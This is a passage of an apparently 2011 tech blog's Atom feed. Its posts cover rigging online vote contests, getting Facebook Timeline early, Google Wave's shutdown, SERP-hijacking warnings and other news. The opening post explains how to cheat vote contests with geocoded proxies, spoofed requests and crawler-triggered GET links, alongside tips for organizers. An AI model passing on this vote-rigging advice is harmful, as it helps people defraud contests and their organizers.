One way you can try and cut down on cheating is to block votes from same ip but then everyone in a office only get one vote (because they all use the same ip) This is what another contest I decided to play a little dirty in did. So how did i get around the ip based block? &lt;a href="http://blog.cartercole.com/2010/10/proxies-proxies-everywhere-and-all-for.html"&gt;Proxies Proxies Proxies!&lt;/a&gt; &amp;nbsp;after geocoding Im able to choose which proxies to use and send request in a random way so it all looks like normal traffic. You can see my blog &lt;a href="http://torchmysite.com/site-entries/" rel="nofollow"&gt;in the site entries list&lt;/a&gt;&amp;nbsp;i was down by hundreds and caught up in just a few hours...&amp;nbsp;probably&amp;nbsp;raised&amp;nbsp;some flags for the people running the contest :)&lt;br /&gt;
&lt;br /&gt;
&lt;h1&gt;So what are the takeaways?&lt;/h1&gt;
&lt;h3&gt;If your&amp;nbsp;running&amp;nbsp;the contest&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Use a form POST to make the vote it will be harder to trigger and google wont be voting in your contest&lt;/li&gt;
&lt;li&gt;Geocode requests to make sure they are from the right&amp;nbsp;region, this will help you detect somebody using proxies all in china&lt;/li&gt;
&lt;li&gt;Have some type of ip based reporting so you can try and catch big&amp;nbsp;blatant&amp;nbsp;offenders&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;If your "hacking" (or cheating) at a contest&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Sniff the http traffic so you can know how to spoof the request identically to the original&lt;/li&gt;
&lt;li&gt;Geocode the proxies you use and make sure they are coming from a county thats allowed to participate&lt;/li&gt;
&lt;li&gt;If they use a GET request to vote laugh about it and post the&amp;nbsp;auto-vote&amp;nbsp;url everywhere (posting to twitter will get about 20 random crawler to hit the link an vote as soon as the tweet is made)&lt;/li&gt;
&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-8722092264829134688?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/4EQMmYZRvfQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/8722092264829134688/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/12/how-to-hack-vote.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8722092264829134688?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8722092264829134688?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/4EQMmYZRvfQ/how-to-hack-vote.html" title="How to &quot;Hack the vote&quot;" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/12/how-to-hack-vote.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkEFRn04eip7ImA9WhRQEU0.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-7256159043253696841</id><published>2011-12-04T20:55:00.001-08:00</published><updated>2011-12-05T07:56:57.332-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-05T07:56:57.332-08:00</app:edited><title>Heres yet another sneak peek of the new Facebook Timeline</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-2wfhcmsVLk0/TtxPCx2EniI/AAAAAAAABcY/bsuRamS75fs/s1600/Screen+shot+2011-12-01+at+9.57.57+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="616" src="http://4.bp.blogspot.com/-2wfhcmsVLk0/TtxPCx2EniI/AAAAAAAABcY/bsuRamS75fs/s640/Screen+shot+2011-12-01+at+9.57.57+AM.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="" style="clear: both; text-align: center;"&gt;
Facebooks about to have another big facelift and not one like giving you an email address im talking a whole profile redesign, i cant wait until i see the "Facebook turn back the Timeline" group. Everything is becoming objects and actions and so special events are brought out with special attention (Like life events, job changes or&amp;nbsp;marriage) but you can also make up actions. So to get the Facebook Timeline Profile before anyone else you need to trick them into thinking your a developer who wants to build something for the new system. So first go and signup to be a&amp;nbsp;Facebook&amp;nbsp;developer, if you do anything with&amp;nbsp;Facebook&amp;nbsp;pages you&amp;nbsp;probably&amp;nbsp;already have done this. From the Developer Dashboard you add a new application and name it some gibberish to to the open graph section it looks like this&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-RxGC6ToOiVA/TtxUAaXUbsI/AAAAAAAABcw/g131qKcgl2k/s1600/Screen+shot+2011-12-01+at+9.52.10+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="169" src="http://4.bp.blogspot.com/-RxGC6ToOiVA/TtxUAaXUbsI/AAAAAAAABcw/g131qKcgl2k/s320/Screen+shot+2011-12-01+at+9.52.10+AM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="" style="clear: both; text-align: center;"&gt;
&amp;nbsp;filling out the form with whatever and giving it an action. This is the new functionality timeline provides and what will get you invited early.&lt;/div&gt;
&lt;div class="" style="clear: both; text-align: center;"&gt;
Go through the steps until the application is created&amp;nbsp;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-PSMwOmfIsRg/TtxTP4jLKiI/AAAAAAAABco/bUuPL42sd88/s1600/Screen+shot+2011-12-01+at+9.53.36+AM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-PSMwOmfIsRg/TtxTP4jLKiI/AAAAAAAABco/bUuPL42sd88/s200/Screen+shot+2011-12-01+at+9.53.36+AM.png" width="168" /&gt;&lt;/a&gt;&lt;a href="http://3.bp.blogspot.com/-95v2WDptZ-k/TtxQ4VzWLfI/AAAAAAAABcg/7nh8vAHOR78/s1600/Screen+shot+2011-12-01+at+9.53.55+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-95v2WDptZ-k/TtxQ4VzWLfI/AAAAAAAABcg/7nh8vAHOR78/s200/Screen+shot+2011-12-01+at+9.53.55+AM.png" width="186" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&amp;nbsp;When you go back to your homepage you will see a little alert like below, if you dont see it right away dont worry it will show up eventually. Accept the dialog and it will take you through a tour of the new profile. I think they are doing this to try and sell the new look to the users as they have just made the sweeping&amp;nbsp;change&amp;nbsp;without notice without and&amp;nbsp;explanation&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-NzZ7SIbawgU/TtxVVHcP01I/AAAAAAAABc4/HVG5InyLz-4/s1600/Screen+shot+2011-12-01+at+9.54.43+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="281" src="http://1.bp.blogspot.com/-NzZ7SIbawgU/TtxVVHcP01I/AAAAAAAABc4/HVG5InyLz-4/s320/Screen+shot+2011-12-01+at+9.54.43+AM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
Ok now lets go through the tour although it really is just a big waste of time. Its all pretty self&amp;nbsp;explanatory&amp;nbsp;but w/e its cool to get it early&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-2kg6kfHod3I/TtxVx-fmcHI/AAAAAAAABdA/j0Jphb5STF0/s1600/Screen+shot+2011-12-01+at+9.55.26+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="293" src="http://2.bp.blogspot.com/-2kg6kfHod3I/TtxVx-fmcHI/AAAAAAAABdA/j0Jphb5STF0/s320/Screen+shot+2011-12-01+at+9.55.26+AM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
So first they tell you about this new cover thing thats&amp;nbsp;like&amp;nbsp;a big picture to explain&amp;nbsp;yourself in a giant banner type thing&amp;nbsp;but theres still a profile picture is just a&amp;nbsp;separate&amp;nbsp;cutout over your cover&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-f5DJP0eI4xg/TtxXMcUFvsI/AAAAAAAABdI/2Ojr3C-0hrE/s1600/Screen+shot+2011-12-01+at+9.55.38+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="237" src="http://4.bp.blogspot.com/-f5DJP0eI4xg/TtxXMcUFvsI/AAAAAAAABdI/2Ojr3C-0hrE/s320/Screen+shot+2011-12-01+at+9.55.38+AM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
and then we have the dont worry all your stuff is still here its just in a&amp;nbsp;different&amp;nbsp;place thats even better step to explain that its all still ok&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-LKrMKOxVfNM/TtxXjfTbUmI/AAAAAAAABdQ/mNDlnoU8Mwg/s1600/Screen+shot+2011-12-01+at+9.55.47+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="282" src="http://2.bp.blogspot.com/-LKrMKOxVfNM/TtxXjfTbUmI/AAAAAAAABdQ/mNDlnoU8Mwg/s320/Screen+shot+2011-12-01+at+9.55.47+AM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
Then you got the all activity button that shows everything from the&amp;nbsp;beginning of your birth all the way to your death&amp;nbsp;unabridged&amp;nbsp;including all that has been redacted from public view&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-dznrq9t_ofA/TtxYFRCgXxI/AAAAAAAABdY/eyIF_jaRDPg/s1600/Screen+shot+2011-12-01+at+9.55.56+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="288" src="http://2.bp.blogspot.com/-dznrq9t_ofA/TtxYFRCgXxI/AAAAAAAABdY/eyIF_jaRDPg/s320/Screen+shot+2011-12-01+at+9.55.56+AM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
And then they explain how you should love them forever for giving you access to your whole life all over again. I know im getting just a touch sarcastic but really whats the&amp;nbsp;purpose&amp;nbsp;of this tour?&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-FBaAttBOR-I/TtxawxwWstI/AAAAAAAABdg/5hUWlKnY5HY/s1600/Screen+shot+2011-12-01+at+9.56.08+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="290" src="http://3.bp.blogspot.com/-FBaAttBOR-I/TtxawxwWstI/AAAAAAAABdg/5hUWlKnY5HY/s320/Screen+shot+2011-12-01+at+9.56.08+AM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
And their tools for&amp;nbsp;searching&amp;nbsp;timeline for what you want to&amp;nbsp;redact&amp;nbsp;seems pretty sucky... there may be&amp;nbsp;potential&amp;nbsp;for a application right there. So after all that they dump you here and let you decide when you want to push your timeline profile public&lt;br /&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-7256159043253696841?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/UrNv_PGDlVo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/7256159043253696841/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/12/heres-yet-another-sneak-seek-of-new.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/7256159043253696841?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/7256159043253696841?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/UrNv_PGDlVo/heres-yet-another-sneak-seek-of-new.html" title="Heres yet another sneak peek of the new Facebook Timeline" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-2wfhcmsVLk0/TtxPCx2EniI/AAAAAAAABcY/bsuRamS75fs/s72-c/Screen+shot+2011-12-01+at+9.57.57+AM.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/12/heres-yet-another-sneak-seek-of-new.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkIBRnwzfyp7ImA9WhRRGEk.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-3078495405608279149</id><published>2011-12-02T07:35:00.001-08:00</published><updated>2011-12-02T07:42:37.287-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-02T07:42:37.287-08:00</app:edited><title>Software engineers by the numbers [infographic]</title><content type="html">I dont want to make it a regular thing just to republish other peoples infographics but this one was really cool to me. I may start to republish some of these with some more commentary I really like to do stuff for conversion rate optimization... Im finally getting some clients who can really benefit from it so we are getting to do alot more. (No im not jumping topics talking about CRO this infographic is from the CRE guys)
&lt;a href="http://blog.kissmetrics.com/wp-content/uploads/2011/04/great-engineer-lrg.png"&gt;&lt;img src="http://blog.kissmetrics.com/wp-content/uploads/2011/04/great-engineer-sm.png" alt="Great Software Engineers"  border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-3078495405608279149?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/SknJuaOKGq8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/3078495405608279149/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/12/software-engineers-by-numbers.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/3078495405608279149?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/3078495405608279149?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/SknJuaOKGq8/software-engineers-by-numbers.html" title="Software engineers by the numbers [infographic]" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/12/software-engineers-by-numbers.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkAGR3k-eCp7ImA9WhRRFU4.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-8778229281687270329</id><published>2011-11-28T17:38:00.000-08:00</published><updated>2011-11-28T17:38:46.750-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-28T17:38:46.750-08:00</app:edited><title>Rule the browser creating google chrome extensions</title><content type="html">&lt;a href="http://schipulcon.com/speakers/carter-cole/" rel="nofollow"&gt;&lt;img alt="SchipulCon 2011" src="http://schipulcon.com/files/28/" style="float:left;margin-right:10px;" /&gt;&lt;/a&gt;So i guess its a little late but I gave my first real talk at a conference... I think i may have gone too technical and I was so nervous if you decided to turn this into a drinking game ever time I said like or um you are probably likely to get alcohol poisoning but practice makes perfect I guess. I wanted for everyone to see how easy it was to get started creating google chrome extensions so this video could probably be called a crash course and hello world all rolled into one. I created a mind map you can use to navigate around and ive made all the code used in the video available on github so you can download the code and follow along. you can get the code from here its the &lt;br&gt;&lt;h1&gt;&lt;a href="https://github.com/neopunisher/SchipulConDemo"&gt;Git Repository (Source Code)&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="https://github.com/neopunisher/SchipulConDemo/zipball/master"&gt;or Download the Zip&lt;/a&gt;&lt;/h1&gt;&lt;br&gt;And all that remains is me talking like a total nerd for an hour about programming an extension so heres the video
&lt;iframe src="http://player.vimeo.com/video/31630158?title=0&amp;amp;byline=0&amp;amp;portrait=0&amp;amp;color=ffffff" width="575" height="323" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen&gt;&lt;/iframe&gt;
If you have any feedback for how I can improve my speaking or any comments on the code I would love to hear from you or just bother me on twitter im @cartercole&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-8778229281687270329?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/rp53_0PB0fQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/8778229281687270329/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/10/rule-browser-creating-google-chrome.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8778229281687270329?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8778229281687270329?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/rp53_0PB0fQ/rule-browser-creating-google-chrome.html" title="Rule the browser creating google chrome extensions" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/10/rule-browser-creating-google-chrome.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IHQ3o8fSp7ImA9WhRREEQ.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-8584738533795747236</id><published>2011-11-23T15:28:00.001-08:00</published><updated>2011-11-23T15:38:52.475-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-23T15:38:52.475-08:00</app:edited><title>Google Wave Sunsetting in 2012</title><content type="html">So Google has finally announced exactly when it plans to kill wave. It seems to be in alignment with their recent push to show a cohesive design in all their products and taking a much more focused vision... i mean they are shutting down google labs... crazy. so anyways heres the email&lt;br&gt;&lt;br&gt; &lt;div style="background: white; border: 2px solid black; color: black; padding: 40px 20px 30px 20px;"&gt;
Dear Wavers,
&lt;br /&gt;
More than a year ago, we
&lt;a href="http://googleblog.blogspot.com/2010/08/update-on-google-wave.html" target="_blank"&gt;
announced&lt;/a&gt; that Google Wave would no longer be developed as a separate
product. At the time, we committed to maintaining the site at least through to
the end of 2010. Today, we are sharing the specific dates for ending this
maintenance period and shutting down Wave. As of January 31, 2012, all waves
will be read-only, and the Wave service will be turned off on April 30,
2012. You will be able to continue exporting individual waves using the
existing PDF export feature until the Google Wave service is turned off. We
encourage you to export any important data before April 30, 2012.
&lt;br /&gt;
If you would like to continue using Wave, there are a number of open source
projects, including &lt;a href="http://incubator.apache.org/wave/" target="_blank"&gt;Apache
Wave&lt;/a&gt;. There is also an open source project called
&lt;a href="http://code.google.com/p/walkaround/" target="_blank"&gt;Walkaround&lt;/a&gt; that includes an
&lt;a href="http://code.google.com/p/walkaround/wiki/ImportingWaves" target="_blank"&gt;experimental
feature&lt;/a&gt; that lets you import all your Waves from Google. This feature will
also work until the Wave service is turned off on April 30, 2012.
&lt;br /&gt;
For more details, please see
our &lt;a href="http://www.google.com/support/wave/bin/answer.py?answer=1083134" target="_blank"&gt;help
center&lt;/a&gt;.
&lt;br /&gt;
Yours sincerely,
&lt;br /&gt;
The Wave Team
&lt;br /&gt;
&lt;span style="font-size: 9pt;"&gt;
© 2011 Google Inc. 1600 Amphitheatre Parkway, Mountain View, CA 94043&lt;br /&gt;
You have received this mandatory email service announcement to update you about
important changes to your Google Wave account.
&lt;/span&gt;
&lt;br /&gt;
&lt;div class="yj6qo"&gt;
&lt;/div&gt;
&lt;div class="adL"&gt;
&lt;/div&gt;
&lt;/div&gt;
talk about it cry i mean we use it all the time at my office so i guess we will be setting up our own wave server... i never got into building one of the plugins (othello) but w/e&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-8584738533795747236?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/eyMAtyh68mc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/8584738533795747236/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/11/google-wave-sunsetting-in-2012.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8584738533795747236?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8584738533795747236?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/eyMAtyh68mc/google-wave-sunsetting-in-2012.html" title="Google Wave Sunsetting in 2012" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/11/google-wave-sunsetting-in-2012.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMDQH8zcCp7ImA9WhRQEUU.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-96703237329294560</id><published>2011-07-25T13:11:00.000-07:00</published><updated>2011-12-06T08:21:11.188-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-06T08:21:11.188-08:00</app:edited><title>Google Detects SERP hijacking on your computer</title><content type="html">&lt;div style="margin-left: 1em; margin-right: 1em; text-align: -webkit-auto;"&gt;
&lt;a href="http://4.bp.blogspot.com/-DTsZ7uKhVtY/Ti3OA8H3XMI/AAAAAAAABbY/_M-IncKCihY/s1600/google-search-malware-large.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="166" src="http://4.bp.blogspot.com/-DTsZ7uKhVtY/Ti3OA8H3XMI/AAAAAAAABbY/_M-IncKCihY/s640/google-search-malware-large.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
So search engines have been working more and more on security (im mostly taking about the big G and B) they both actually will alert you when they detect weird stuff on your domain or hacker scripts and Google will let you know you need to update wordpress so i think this is way cool... we have seen virus that rewrite all the search results but now Google can detect the SERP hijacking and warn you about it with a little message at the top. Super cool! I just want to know how they detect the request is begin made from malware... is it only detect one kind or is it a generic heuristic based solution?&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-96703237329294560?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/ER05sQHG74c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/96703237329294560/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/07/google-detects-serp-hijacking-on-your.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/96703237329294560?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/96703237329294560?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/ER05sQHG74c/google-detects-serp-hijacking-on-your.html" title="Google Detects SERP hijacking on your computer" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-DTsZ7uKhVtY/Ti3OA8H3XMI/AAAAAAAABbY/_M-IncKCihY/s72-c/google-search-malware-large.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/07/google-detects-serp-hijacking-on-your.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MCSH46cCp7ImA9WhZaF08.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-8038526664009792758</id><published>2011-07-03T14:44:00.000-07:00</published><updated>2011-07-03T14:44:29.018-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-03T14:44:29.018-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="update" /><category scheme="http://www.blogger.com/atom/ns#" term="google plus" /><category scheme="http://www.blogger.com/atom/ns#" term="wonder wheel" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><title>The Google Wonder Wheel has disappeared!</title><content type="html">After the new Google Plus update it seems that some SEO's favorite related keywords tool is gone... I had just finished a wonder wheel scraper so i went and got the url that wonder wheel used to be at. When i run a search I get this error message:&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-3ovaDKgB6ak/ThDc-rrBR2I/AAAAAAAABaI/pHOK3YMI-a8/s1600/ww.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="192" src="http://2.bp.blogspot.com/-3ovaDKgB6ak/ThDc-rrBR2I/AAAAAAAABaI/pHOK3YMI-a8/s400/ww.JPG" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;"The search option you have selected is currently&amp;nbsp;unavailable"&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;So i guess its good that it says its currently&amp;nbsp;unavailable because that implies that it may be back soon... some people were&amp;nbsp;thinking&amp;nbsp;that they had just left it off the UI&amp;nbsp;accidentally, but the exact same thing&amp;nbsp;happened&amp;nbsp;around the last "Instant" update where you had to turn it off to see the option&lt;div&gt;&lt;br /&gt;
